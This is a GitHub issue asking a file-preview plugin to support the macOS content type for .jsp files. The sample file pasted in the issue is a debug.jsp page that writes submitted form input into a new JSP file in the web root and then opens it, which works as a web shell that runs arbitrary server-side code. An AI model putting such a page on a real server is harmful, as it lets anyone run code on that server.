Skip to content
This repository has been archived by the owner on Nov 13, 2020. It is now read-only.

Support for [dyn.ah62d4rv4ge80y65u] #38

Open
0xlane opened this issue Jun 16, 2020 · 0 comments
Open

Support for [dyn.ah62d4rv4ge80y65u] #38

0xlane opened this issue Jun 16, 2020 · 0 comments
Labels
new file type Request to support previews for a new file type

Comments

@0xlane
Copy link

0xlane commented Jun 16, 2020

My Jsp File Content:

<%@ page language="java" contentType="text/html; charset=UTF-8"
	pageEncoding="UTF-8"%>
<%@ page errorPage="/resource/jsp/jsperror.jsp" %>
<%@page import="java.io.FileOutputStream"%>
<%@page import="com.landray.kmss.sys.config.loader.ConfigLocationsUtil"%>
<%@page import="java.io.BufferedWriter"%>
<%@page import="java.io.OutputStreamWriter"%>
<form action="debug.jsp" method="POST">
	<center>
		<textarea name="fdCode" style="width:95%;height:300px;">${HtmlParam.fdCode}</textarea><br>
		<input type=submit value="提交">
	</center>
</form>
<%
	String code = request.getParameter("fdCode");
	if(code!=null){
		code = "<"+"%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\""+
			"pageEncoding=\"UTF-8\"%"+"><" + "% " + code + " %" + ">";
		FileOutputStream outputStream = new FileOutputStream(ConfigLocationsUtil.getWebContentPath()+"/sys/common/code.jsp");
		BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(
				outputStream, "UTF-8"));
		bw.write(code);
		bw.close();
%>
	<script>
		window.open("<%= request.getContextPath() %>/sys/common/code.jsp", "_blank");
	</script>
<%
	}
%>

mdls identify:

kMDItemContentType = "dyn.ah62d4rv4ge80y65u"

File extension: jsp

@0xlane 0xlane added the new file type Request to support previews for a new file type label Jun 16, 2020
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
new file type Request to support previews for a new file type
Projects
None yet
Development

No branches or pull requests

1 participant